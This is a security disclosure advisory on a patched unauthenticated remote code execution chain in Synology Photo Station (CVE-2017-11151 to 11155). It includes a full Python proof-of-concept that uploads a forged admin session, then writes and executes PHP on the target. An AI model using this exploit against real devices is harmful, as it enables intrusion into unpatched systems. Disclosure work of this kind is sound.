Synology Photo Station Unauthenticated Remote Code Execution

### Vulnerability Summary The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier / 6.3-2967 and earlier. Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home/photo folder for you to store photos and videos that you want to share. The system will create index thumbnails of the photos and videos automatically, and then people can view photo albums via a web browser. ### Credit An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ### Vendor response The vendor has released patches to address this vulnerability. For more details: https://www.synology.com/zh-tw/support/security/Synology_SA_17_34_PhotoSation ### CVE’s: CVE-2017-11151 CVE-2017-11152 CVE-2017-11153 CVE-2017-11154 CVE-2017-11155 ### Vulnerability details The remote code execution is a combination of 4 different vulnerabilities: * Upload arbitrary files to the specified directories * Log in with a fake authentication mechanism * Log in to Photo Station with any identity * Execute arbitrary code by authenticated user with administrator privileges The chain of vulnerabilities will allow you, in the end, to execute code as: ``` uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation) ``` The first step is to exploit the ability to upload arbitrary files – User controlled input is not sufficiently sanitized, when passed to /photo/include/synotheme_upload.php function. Successful exploitation of this vulnerability enables a remote unauthenticated user to upload arbitrary files. The file will be uploaded to `/var/packages/PhotoStation/etc/blog/` or `/var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/`. The second step is to use the user controlled file to create a valid session by using the the following file content: ``` root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";} ``` And send a request to general_setting.php with the parameter that include the file we uploaded as a session. The third step is to log with the new root user we created. Once we log-in we can upload a file with our malicious code and execute him by send a GET request Furthermore, the last vulnerability is the ability to identify Photo Station version. By default when you visit photo station url `http://IP/photo/#!Albums`, in the source code you can identify the Photo Station version: ``` <script src="js_php/prevent_iframe.js.php?v=6.7.1-3419"></script> ``` 6.7.1-3419 is version of Photo Station installed. ### Proof of Concept ``` import requests # What server you want to attack synology_ip = 'http://192.168.1.100' # Your current IP ip = '192.168.1.200' # PHP code you want to execute php_to_execute = '<?php echo system("id"); ?>' encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}' print "[+] Set fake admin sesssion" file = [('file', ('foo.jpg', encoded_session))] r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file) print r.text print "[+] Login as fake admin" # Depends on version it might be stored in different dirs payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'} # payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'} try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload) whichact = {'action' : 'get_setting'} r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies) print r.text print "[+] Upload php file" c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'} r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies) print r.text print "[+] Execute payload" f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip)) print f.text ```